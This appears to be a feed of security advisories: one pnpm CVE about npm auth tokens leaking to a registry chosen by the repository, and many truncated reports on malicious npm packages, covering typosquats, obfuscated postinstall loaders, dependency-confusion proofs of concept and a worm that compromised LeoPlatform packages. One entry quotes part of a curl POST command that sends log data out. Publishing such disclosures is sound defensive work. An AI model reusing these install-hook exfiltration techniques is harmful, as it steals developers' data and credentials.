CVE-2026-50017 pnpm binds unscoped user-level npm auth credentials to a repository-selected registry

pnpm is a package manager. Prior to 10.34.0 and 11.4.0, pnpm can send user-level unscoped npm authentication credentials to a registry chosen by a repository-local .npmrc file. In the reproduced case, the user's npm config contains a default registry and an unscoped authToken. The repository does...

MAL-2026-6462 Malicious code in dttsdee (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56d01c47d29d1f8f25a737be42dd77d02a2c13a00afb808740142197a79150e9 package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$cat /data/logs/monitor-2026-06-25.log"...

Malicious code in easy-string-kit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cb77d96cfd133340395df1765df2426f8414d80158e62ee5832ab6d4a18e803 package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl POST requests harvesting...

MAL-2026-6454 Malicious code in simple-node-calc-c (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 289de4cd84a2ac40ef42f8b449ba58e9d8900d766a0638061ef2e75092b1f1a4 Package advertises itself as a 7-function calculator but ships an undeclared 87KB heavily obfuscated file lodash-compiler.js obfuscator.io string-arr...

MAL-2026-6452 Malicious code in simple-node-calc-aa (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7274769c1f72a3c00ec34290bd2e0dff85b9c41d6a85cfffc1b164b46280de72 Package advertises itself as a trivial arithmetic helper but ships a binding.gyp whose sources list uses gyp's !... shell expansion: "!node...

MAL-2026-6448 Malicious code in bs58-86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 057e2e470e0bc9dbfd2ff37955c0c7d051cca944025b9d62c882ffc98c4434e5 Package [email protected] reproduces the name, README, repository URL cryptocoinjs/bs58, and exported API of the widely-used bs58 base58 encoding library...

Malicious code in base62-86x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 811002816e7f72588c7c6540b088af5c44b8280574e43dbaeef4701fe377fe9f Package impersonates the legitimate base-x/base62 library by Daniel Cousens name base62-86x, homepage pointing at cryptocoinjs/base-x, identical sour...

MAL-2026-6437 Malicious code in logfmt-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bb22b2557674e7d616805d8a4086d69e02896be169b9e5d4d053eb3628ebe038 On npm install, scripts/install-check.cjs registered as a postinstall lifecycle script fetches a JSON config from a hardcoded anonymous Vercel app UR...

MAL-2026-6439 Malicious code in polymarket-stake-maths (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 657363aaa0b94385d30a26c1f4ee67923b0d877975850ad08f8364c2a901d8e7 On npm install, the package's postinstall script scripts/install-check.cjs fetches a JSON config from...

MAL-2026-6442 Malicious code in easy-time-format (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 20b7b165f80957e2b2c8484fe6a51c4c4354727dadd36a51c39265f58e916935 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-6416 Malicious code in block-slot (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9443517fbcf695478ab489e9a375823ed1a0030cf6a3a4f6262effca4c5406b Pattern matches fired on index.js for the co-occurrence of childprocess require, HTTP GET calls, and env-related keywords within a single file. No...

Malicious code in nabisco (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9d0ed482ca35ed621384d6d91c398fe605352571a710d8f4222af056cedf48bb Package self-describes as a security PoC for dependency confusion targeting an internal HubSpot module name. On install, postinstall.js prints a...

Malicious code in poc-publish-test-su-doughnym (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e75d35af77b8871936717cc37537673789177cdd056f7f4d2c21c32b2be5f65 Package contains no observed installer-side harmful behavior. No exfiltration, no install-time fetch-and-execute, no silent-relay, no credential...

Malicious code in @su-doughnym/react-dlb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2269beae8c30caccda966ca3aba35c3eddb4795fba0161045f14758ff150f58b Package self-identifies as a dependency-confusion bug-bounty proof-of-concept and is published at version 99.99.99 to win resolution priority over an...

Malicious code in @su-doughnym/loginui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5768349705baa7b448fddb22d17412ce7befdaedd68b2e91a452eb6521e0bc66 Package self-identifies as a HubSpot dependency-confusion proof-of-concept and is published at version 99.99.99 — a typical high-version-pin used to...

MAL-2026-6413 Malicious code in poc-publish-test-su-doughnym (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e75d35af77b8871936717cc37537673789177cdd056f7f4d2c21c32b2be5f65 Package contains no observed installer-side harmful behavior. No exfiltration, no install-time fetch-and-execute, no silent-relay, no credential...

Malicious code in two-factor-prompt-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 95ebb96758f051c0a5a1c8fe97fb05c898f2489f4567fb64fbd271eb103dcadc Package self-identifies as a dependency-confusion proof-of-concept aimed at an internal/private package name. The postinstall script postinstall.js...

Malicious code in @su-doughnym/hubspot-loginui-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 72fa1e159f93bb8a1336dc48fe329f3a7801ebf56a49620ce67fd013ea8995ae Package is openly labeled a dependency-confusion proof-of-concept and uses a high version number 99.99.99 consistent with that intent. The preinstall...

Malicious code in leo-streams (npm)

The leo-streams npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...

Malicious code in leo-connector-mysql (npm)

The leo-connector-mysql npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the...